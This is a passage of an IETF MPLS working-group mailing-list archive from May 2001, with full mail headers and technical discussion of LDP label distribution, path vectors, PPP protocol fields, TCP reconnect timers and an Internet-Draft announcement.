	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA15100
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 23:51:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfb00732;
	Wed, 16 May 2001 03:50:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfb09400
	for mpls-outgoing; Wed, 16 May 2001 03:49:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpfb09348
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 03:49:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpfb18406
	for <mpls@UU.NET>; Wed, 16 May 2001 03:47:47 GMT
Received: from ganymede.or.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jffdns01.or.intel.com [134.134.248.3])
	id QQkpfb11549
	for <mpls@UU.NET>; Wed, 16 May 2001 03:47:46 GMT
Received: from SMTP (orsmsxvs02-1.jf.intel.com [192.168.65.201])
	by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.38 2001/05/09 12:49:45 root Exp $) with SMTP id DAA29141;
	Wed, 16 May 2001 03:47:39 GMT
Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Wed, 16 May 2001 03:47:39 0000 (GMT)
Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2653.19)
	id <LADLHF52>; Tue, 15 May 2001 20:47:37 -0700
Message-ID: <C9E446F533E0D311AC42009027C680680462FD54@ORSMSX60>
From: "Zhong, Haibo" <h_zhong@trillium.com>
To: "'andy ly'" <andyly@yahoo.com>, mpls@UU.NET
Subject: RE: Questions on LSP setup
Date: Tue, 15 May 2001 19:34:46 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


try http://www.vbns.net/presentations/nlanr/sld018.html to see if any help.

-----Original Message-----
From: andy ly [mailto:andyly@yahoo.com]
Sent: Tuesday, May 15, 2001 5:38 PM
To: mpls@UU.NET
Subject: Questions on LSP setup


I'd like to understand in detail how the LSP is setup.
Can anyone tell me where I would find good technical
papers on the net?

Thanks,

Andy


__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/



From owner-mpls@UU.NET  Wed May 16 00:10:01 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA15258
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 00:09:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfc23090;
	Wed, 16 May 2001 04:09:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfc00647
	for mpls-outgoing; Wed, 16 May 2001 04:09:01 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpfc00602
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 04:08:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpfc05685
	for <mpls@UU.NET>; Wed, 16 May 2001 04:08:17 GMT
Received: from samar.sasken.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkpfc10953
	for <mpls@UU.NET>; Wed, 16 May 2001 04:08:14 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4G484b00139;
	Wed, 16 May 2001 09:38:04 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id JAA01038;
	Wed, 16 May 2001 09:37:35 +0530 (IST)
Date: Wed, 16 May 2001 09:37:35 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: Chris Kuszmaul <fyodor@pluris.com>
cc: <mpls@UU.NET>
Subject: Re: Receive Label Receive !!
In-Reply-To: <3B0018CD.506938F7@pluris.com>
Message-ID: <Pine.GSO.4.30.0105160929420.29532-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,
 after going thr' the topology and the scenario u described, I think,
the basic problem starts when C and D merge the FECs and send one label
upstream. The topoplogy u mentioned works because C/D is doing Pop and
then IP header is exposed. If there was some label given by E and/or F,
then its impossible for packets with label C1 to determine the
right FEC, and to attach correct label. Unless one does IP lookup after
the pop and then Push label depending upon the look up result. (which
defeats the purpose of using MPLS)

Any thoughts?

-abhijit

Abhijit Gadgil


On Mon, 14 May 2001, Chris Kuszmaul wrote:

>   Indeed, consider: (the following was sent as private email to a
> couple folks on the list, but I think it merits a broader audience)
>
>  In thinking about this, I ended up wondering what would happen when the
> next hop changes, in the following scenario:
>
> Suppose we have A connected to B, connected to C and D, with C and D each
> connected to E and F
>
>
>             ----C----E
> A---B<          X
>            -----D----F
>
> Suppose that we do unsolicited ordered advertisement, to create LSPs leading
> to E and F.
>
> C and D both aggregate their FECs, and B receives the following
> advertisements



From owner-mpls@UU.NET  Wed May 16 01:46:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18137
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 01:46:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfj03302;
	Wed, 16 May 2001 05:46:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfj00223
	for mpls-outgoing; Wed, 16 May 2001 05:45:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpfj00211
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 05:45:18 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpfj19064
	for <mpls@uu.net>; Wed, 16 May 2001 05:45:12 GMT
Received: from fsnt.future.futsoft.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkpfj05518
	for <mpls@uu.net>; Wed, 16 May 2001 05:45:12 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000118824@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Wed, 16 May 2001 11:21:21 +0530
Received: from mohanvak (mohanvak.future.futsoft.com [10.20.6.31])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4GDic418257
	for <mpls@uu.net>; Wed, 16 May 2001 19:14:38 +0530
Received: by localhost with Microsoft MAPI; Wed, 16 May 2001 10:55:47 +1000
Message-Id: <01C0DDF6.C3551400.mohanvak@future.futsoft.com>
From: Mohan Varma K <mohanvak@future.futsoft.com>
Reply-To: "mohanvak@future.futsoft.com" <mohanvak@future.futsoft.com>
To: "mpls@uu.net" <mpls@UU.NET>
Subject: ERO as unnumbered for FA
Date: Wed, 16 May 2001 10:55:46 +1000
Organization: FSPL
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
       In the mpls-unnumbered-crldp draft there is defined an
   INTERFACE ID TLV.

    1)   From this draft my understanding of this object is it will be
  used for identifying the unnumbered interface id of the FA.When
  we mention the Erhop as this interface id the egress of the FA 
  will allocate the label corresponding to this interface Id.

       But I think this is already there in CRLDP by mentioning
  the Erhop as LSPID in which case the egress can allocate a 
  generic label and there is no information required as such of 
  the interface.
       However we can still have interface id associated with this
  tunnel for advertisement in OSPF/ISIS-TE for considering this
  tunnel as an FA. 

   2)    When we suggest the label(Lbl Req/Path) and receive 
 the label in (Lbl Map/Resv) there is no way to identify the
 interface on which the label is to be allocated when we have
 single control channel and many data channels(unnumberd) 
 as in optical which is between peer to peer.
          How do we resolve this?

Thanks and regards
Mohan Varma
         
    
      
     



From owner-mpls@UU.NET  Wed May 16 03:47:25 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA00999
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 03:47:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfr09883;
	Wed, 16 May 2001 07:46:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfr18113
	for mpls-outgoing; Wed, 16 May 2001 07:46:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpfr18066
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 07:46:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpfr06185
	for <mpls@uu.net>; Wed, 16 May 2001 07:45:35 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkpfr06537
	for <mpls@uu.net>; Wed, 16 May 2001 07:45:34 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4G7iRf16534
	for <mpls@uu.net>; Wed, 16 May 2001 00:44:27 -0700
Message-ID: <3B023184.C4E35522@ipinfusion.com>
Date: Wed, 16 May 2001 00:51:32 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: path vectors !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

In RFC 3036, section A.1.1 (receive label request processing), there is
a parameter RAttributes which is basically the attributes received in
the label request message. Now in subsection LRq.9, this same
RAttributes is being used for creating label mapping attributes which
will be sent back to the requesting LSR.
Now, consider the following case :

LSR A is configured to send path vectors in label request messages. It
will include its own lsr id in the request sent to LSR B.  Now
LSR B uses this same path vector and adds its lsr id in the lable
mapping message sent back to LSR A. LSR A will find its own lsr id in
the mapping received from LSR B and declare that a loop has been
detected which is incorrect.

I thnk LSR B, in this case, should be using the attributes which it
might have received from its next hop ,if any, while preparing label
mapping attributes to respond to request from LSR A. Please let me know
if this is right.

Thanks in advance
manoj



From owner-mpls@UU.NET  Wed May 16 05:03:21 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA01615
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 05:03:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfw27989;
	Wed, 16 May 2001 09:02:19 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfw19043
	for mpls-outgoing; Wed, 16 May 2001 09:01:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpfw18047
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 09:01:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpfw11824
	for <mpls@UU.NET>; Wed, 16 May 2001 09:01:33 GMT
From: xiaoning.nie@infineon.com
Received: from mail1.infineon.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail1.infineon.com [192.35.17.229])
	id QQkpfw24692
	for <mpls@UU.NET>; Wed, 16 May 2001 09:01:32 GMT
X-Envelope-Sender-Is: xiaoning.nie@infineon.com (at relayer mail1.infineon.com)
Received: from mchb0b1w.muc.infineon.com ([172.31.102.53])
	by mail1.infineon.com (8.11.1/8.11.1) with ESMTP id f4G91Ti00356;
	Wed, 16 May 2001 11:01:29 +0200 (MET DST)
Received: by mchb0b1w.muc.infineon.com with Internet Mail Service (5.5.2653.19)
	id <LAZ710VK>; Wed, 16 May 2001 11:01:28 +0200
Message-ID: <F7686250912CD41194F100508B5E193AEDBA2D@mchb0fha.muc.infineon.com>
To: elwinietf@yahoo.com, mpls@UU.NET
Subject: AW: PPP protocol type for MPLS packets ...
Date: Wed, 16 May 2001 11:01:25 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA01615

Hi Elwin,

even if protocol compression (the PFC option) is negotiated by LCP, you still can choose to
send your PPP frame using 16 bit protocol field. The PPP implementation
must be able to detect this.

regards,

Xiaoning

-----Ursprüngliche Nachricht-----
Von: Elwin Eliazer [mailto:elwinietf@yahoo.com]
Gesendet am: Dienstag, 15. Mai 2001 19:17
An: Eric Gray; Eric Rosen; George Swallow; Scott Bradner
Cc: mpls@UU.NET; naveenietf@yahoo.com
Betreff: Re: PPP protocol type for MPLS packets ...

Hi Eric,

Thanks for your response.

But my question was not about the MPLSCP (control)
packets.... it is rather the payload MPLS packets.

Could you clarify if you are also referring the
same.

Thanks,
Elwin.

--- Eric Gray <eric.gray@sandburst.com> wrote:
> Elwin,
> 
>     Quoting from Standard 51 (PPP), section 6.5
> towards the bottom of
> page 48:
> 
> "The Protocol field is never compressed when sending
> any LCP packet.
>  This rule guarantees unambiguous recognition of LCP
> packets."
> 
>
====================================================================
> Eric/George/Scott,
> 
> On a related issue, I notice that - while RFC 3032
> lists the MPLSCP
> protocol number as 0x8281 - PPP-numbers, located at:
> 
>    
>
ftp://ftp.isi.edu/in-notes/iana/assignments/ppp-numbers
> 
> Shows this number assigned as follows -
> 
> "8281   Tag Switching - Unicast             
> [Davie]"
> 
> I can't recall any discussion about re-assigning
> this protocol number
> and I wonder - is possible at this point to make
> this happen (between
> B. Davie, Cisco and IANA)?
> 
> --
> Eric Gray
> 
> You wrote:
> 
> > Hi,
> >
> > Will it be a good practice to disable protocol
> > field compression (during LCP) as the PPP protocol
> > field value for MPLS unicast and multicast are
> > 0x0281 and 0x0283, as defined in RFC 3032,
> > section 4.3, that has the most significant
> > byte as non-zero?
> >
> > regards,
> > Elwin.
> >
> > =====
> > -------
> > Elwin Stelzer Eliazer
> > Corona Networks
> > San Jose, CA
> > 408-519-3832
> > -------
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Auctions - buy the things you want at great
> prices
> > http://auctions.yahoo.com/
> 


=====
-------
Elwin Stelzer Eliazer
Corona Networks
San Jose, CA
408-519-3832
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Wed May 16 05:59:39 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA02014
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 05:59:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfz22257;
	Wed, 16 May 2001 09:59:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfz07117
	for mpls-outgoing; Wed, 16 May 2001 09:58:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpfz07108
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 09:58:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpfz08240
	for <mpls@uu.net>; Wed, 16 May 2001 09:58:15 GMT
Received: from smtp.huawei.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.96.135.132])
	id QQkpfz19566
	for <mpls@uu.net>; Wed, 16 May 2001 09:58:12 GMT
Received: from z97716 ([10.110.10.147]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id GDFA4Q01.H1U for
          <mpls@uu.net>; Wed, 16 May 2001 17:53:14 +0800 
Message-ID: <000f01c0ddee$97feff80$930a6e0a@huawei.com>
From: "Heqing Zhu" <zhuheqing@huawei.com>
To: <mpls@UU.NET>
Subject: Link down, TCP connection down and session?
Date: Wed, 16 May 2001 17:57:18 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id FAA02014

Hi,All:

For LDP, I have a question about session after link is down.
In fact, LDP defines some timer to check connection.
Suppose one link is down, What will happen about TCP connection?
If TCP connection is closed immediately, why we need the timer?
If anyone knows some discussion or classical article
Please give me some suggestion?

Thanks in advance

********************
Zhu Heqing
Beijing, China
********************


From owner-mpls@UU.NET  Wed May 16 06:13:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA02127
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 06:13:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpga03836;
	Wed, 16 May 2001 10:12:27 GMT
Received: by mail-control.mail.uu.net 
	id QQkpga27374
	for mpls-outgoing; Wed, 16 May 2001 10:11:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpga27360
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 10:11:42 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpga14117
	for <mpls@UU.NET>; Wed, 16 May 2001 10:10:45 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.dmlnet.com [209.11.132.18])
	id QQkpga02216
	for <mpls@UU.NET>; Wed, 16 May 2001 10:10:44 GMT
Received: from ipinfusion.com (IDENT:haseeb@[10.10.0.34])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4GA9Sf20456;
	Wed, 16 May 2001 03:09:28 -0700
Message-ID: <3B023716.5ED9E81F@ipinfusion.com>
Date: Wed, 16 May 2001 03:15:18 -0500
From: Haseeb Budhani <haseeb@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Heqing Zhu <zhuheqing@huawei.com>
CC: mpls@UU.NET
Subject: Re: Link down, TCP connection down and session?
References: <000f01c0ddee$97feff80$930a6e0a@huawei.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Heqing Zhu wrote:

> Hi,All:
>
> For LDP, I have a question about session after link is down.
> In fact, LDP defines some timer to check connection.
> Suppose one link is down, What will happen about TCP connection?
> If TCP connection is closed immediately, why we need the timer?
> If anyone knows some discussion or classical article
> Please give me some suggestion?
>
> Thanks in advance
>
> ********************
> Zhu Heqing
> Beijing, China
> ********************

'Sup Heqing,

I think you're referring to the reconnect timout for tcp connections.
RFC 3036 says that once the tcp connection is broken for any reason, or
if a tcp connection could not be created in the first place, a timer
should should be started before we try to establish a new tcp connection
to the same peer, and that the minimum value for this timout should be
no less than 15 seconds. Upon unsuccessful tcp negotiation, the timeout
should be be exponentially increased until it is no more than 2 minutes
or 120 seconds, but you should keep trying to set up the tcp connection
forever.

Hope I got it right. :)

--
Haseeb Budhani.



From owner-mpls@UU.NET  Wed May 16 07:05:43 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA02778
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 07:05:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpge22728;
	Wed, 16 May 2001 11:04:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkpge16590
	for mpls-outgoing; Wed, 16 May 2001 11:04:13 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpge15835
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 11:04:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpge15890
	for <mpls@uu.net>; Wed, 16 May 2001 11:03:38 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpge07855
	for <mpls@uu.net>; Wed, 16 May 2001 11:03:37 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA04394 for mpls@uu.net; Wed, 16 May 2001 07:03:37 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpge11690
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 11:02:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpge13483
	for <mpls@uu.net>; Wed, 16 May 2001 11:02:33 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQkpge16008
	for <mpls@uu.net>; Wed, 16 May 2001 11:02:33 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA02659;
	Wed, 16 May 2001 07:02:24 -0400 (EDT)
Message-Id: <200105161102.HAA02659@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
Date: Wed, 16 May 2001 07:02:24 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: MPLS LDP Query Message Description
	Author(s)	: P. Ashwood-Smih, A. Paraschiv
	Filename	: draft-ietf-mpls-lsp-query-02.txt
	Pages		: 17
	Date		: 15-May-01
	
This document describes the encoding and procedures for three new LDP
messages, the Query Message and Query-Reply Message and Partial
Query-Reply Message (the last one is almost identical to the Query-
Reply message; therefore all references to the Query-Reply messages
imply the Partial Query-Reply messages as well, unless otherwise
specified).  An LER sends a Query message when it needs to find out
information about an LSP. The Query message is sent for an
established LSP.  The Query message can be used for LDP LSPs as well
as for CR-LSPs.  The queried data is encoded into the Query-Reply
messages. The Query Message carries only the list of hops.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsp-query-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lsp-query-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lsp-query-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010515105537.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lsp-query-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lsp-query-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010515105537.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Wed May 16 07:29:07 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA03227
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 07:29:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgf15336;
	Wed, 16 May 2001 11:28:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgf22540
	for mpls-outgoing; Wed, 16 May 2001 11:28:02 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpgf22527
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 11:27:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpgf06513
	for <mpls@uu.net>; Wed, 16 May 2001 11:27:39 GMT
Received: from smtp.huawei.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.96.135.132])
	id QQkpgf14335
	for <mpls@uu.net>; Wed, 16 May 2001 11:27:37 GMT
Received: from z97716 ([10.110.10.147]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id GDFE9Q02.Q22; Wed,
          16 May 2001 19:22:38 +0800 
Message-ID: <001e01c0ddfb$13d48b00$930a6e0a@huawei.com>
From: "Heqing Zhu" <zhuheqing@huawei.com>
To: "Haseeb Budhani" <haseeb@ipinfusion.com>
Cc: <mpls@UU.NET>
References: <000f01c0ddee$97feff80$930a6e0a@huawei.com> <3B023716.5ED9E81F@ipinfusion.com>
Subject: Re: Link down, TCP connection down and session?
Date: Wed, 16 May 2001 19:26:37 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id HAA03227

